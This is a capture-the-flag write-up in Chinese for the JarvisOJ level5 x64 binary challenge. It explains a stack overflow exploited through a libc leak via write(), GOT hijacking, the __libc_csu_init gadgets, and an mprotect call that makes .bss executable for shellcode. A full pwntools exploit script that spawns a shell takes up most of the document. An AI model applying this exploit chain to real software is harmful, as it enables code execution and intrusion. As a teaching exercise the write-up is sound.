题目信息
mmap和mprotect练习,假设system和execve函数被禁用,请尝试使用mmap和mprotect完成本题。
nc pwn2.jarvisoj.com 9884
附件同level3_x64
那么基础信息直接使用之前的
64位elf,只开了NX,并且给出了libc文件
静态分析
IDA F5,首先看elf文件,和level3一样,明显的溢出,但程序中没有直接的system和”/bin/sh”
给出的libc文件中有这两个
那么思路就和level3类似,leak之后计算地址,执行system
题目要求使用mmap和mprotect练习,假设system和execve函数被禁用,请尝试使用mmap和mprotect完成本题。
区别同样只在于32位和64位的栈上
在32位程序运行中,函数参数直接压入栈中
- 调用函数时栈的结构为:调用函数地址->函数的返回地址->参数n->参数n-1->···->参数1
在64位程序运行中,参数传递需要寄存器
- 64位参数传递约定:前六个参数按顺序存储在寄存器rdi, rsi, rdx, rcx, r8, r9中
- 参数超过六个时,从第七个开始压入栈中
exploit
- 想要使用mprotect,且给了libc,那首选是用write函数leak出某个函数(比如write)的地址,然后由libc计算偏移得到mprotect。
- 把shellcode写到bss段用read可以直接搞定不多说。
- 由于是64位的程序,函数的前6个参数都是通过寄存器来传递的,而rwx的十进制表示是7(b111),且mprotect的函数定义是
int mprotect(void *addr, size_t len, int prot);
。我们的7是作为第三个参数放在rdx里,而一般是不存在有关rdx的gadgets的,所以这里我们考虑使用__libc_csu_init
尾部的万能gadgets(能解决三个参数内的函数调用)。
- 大致流程:栈溢出 -> leak write -> hijack got -> read shellcode from stdin to bss -> call mprotect to set ‘rwx’ -> exec shellcode
- _libc_csu_init函数是程序调用libc库用来对程序进行初始化的函数,一般先于main函数执行
构造exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94
| from pwn import *
elf = ELF('./level5') libc = ELF('./libc-2.19.so')
sh = remote('pwn2.jarvisoj.com', 9884)
context.arch = 'amd64'
write_plt = elf.plt["write"] write_got = elf.got["write"] read_plt = elf.plt['read'] read_got = elf.got['read'] vuln_func = elf.symbols["vulnerable_function"] write_libc = libc.symbols["write"] bss_addr = elf.bss() shellcode = asm(shellcraft.amd64.sh()) pop_rdi = 0x00000000004006b3 pop_rsi_r15 = 0x00000000004006b1
payload1 = 'A' * 0x88 payload1 += p64(pop_rsi_r15) + p64(write_got) + p64(0) payload1 += p64(pop_rdi) + p64(1) payload1 += p64(write_plt)
mprotect_got = elf.got['__libc_start_main'] payload1 += p64(pop_rsi_r15) + p64(mprotect_got) + p64(0) payload1 += p64(pop_rdi) + p64(0) payload1 += p64(read_plt)
payload1 += p64(pop_rsi_r15) + p64(bss_addr) + p64(0) payload1 += p64(read_plt)
bss_got = elf.got['__gmon_start__'] payload1 += p64(pop_rsi_r15) + p64(bss_got) + p64(0) payload1 += p64(read_plt) payload1 += p64(elf.symbols['main'])
sh.recv() sh.send(payload1)
write_addr = u64(sh.recv(8)) libc_base = write_addr - write_libc libc_mprotect = libc.symbols['mprotect'] mprotect_addr = libc_base + libc_mprotect
pause() sh.send(p64(mprotect_addr)) pause() sh.send(shellcode) pause() sh.send(p64(bss_addr))
""" 0x400690 <__libc_csu_init+64>: mov rdx,r13 0x400693 <__libc_csu_init+67>: mov rsi,r14 0x400696 <__libc_csu_init+70>: mov edi,r15d 0x400699 <__libc_csu_init+73>: call QWORD PTR [r12+rbx*8]
0x4006a6 <__libc_csu_init+86>: add rsp,0x8 0x4006aa <__libc_csu_init+90>: pop rbx 0x4006ab <__libc_csu_init+91>: pop rbp 0x4006ac <__libc_csu_init+92>: pop r12 0x4006ae <__libc_csu_init+94>: pop r13 0x4006b0 <__libc_csu_init+96>: pop r14 0x4006b2 <__libc_csu_init+98>: pop r15 0x4006b4 <__libc_csu_init+100>: ret """
payload2 = 'A' * 0x88 payload2 += p64(0x4006a6) payload2 += p64(0xdeadbeef) payload2 += p64(0) payload2 += p64(1)
payload2 += p64(elf.got['__libc_start_main']) payload2 += p64(7) payload2 += p64(0x1000) payload2 += p64(0x00600000) payload2 += p64(0x400690) payload2 += p64(0xdeadbeef) payload2 += p64(0) payload2 += p64(1) payload2 += p64(elf.got['__gmon_start__']) payload2 += p64(0) payload2 += p64(0) payload2 += p64(0) payload2 += p64(0x400690)
sh.recv() pause() sh.send(payload2) sh.interactive()
|
- 因为是
call QWORD PTR [r12+rbx*8]
,调用的指针,所以需要劫持GOT,不能直接使用地址
getflag
Last updated:
水平不济整日被虐这也不会那也得学,脑子太蠢天天垫底这看不懂那学不会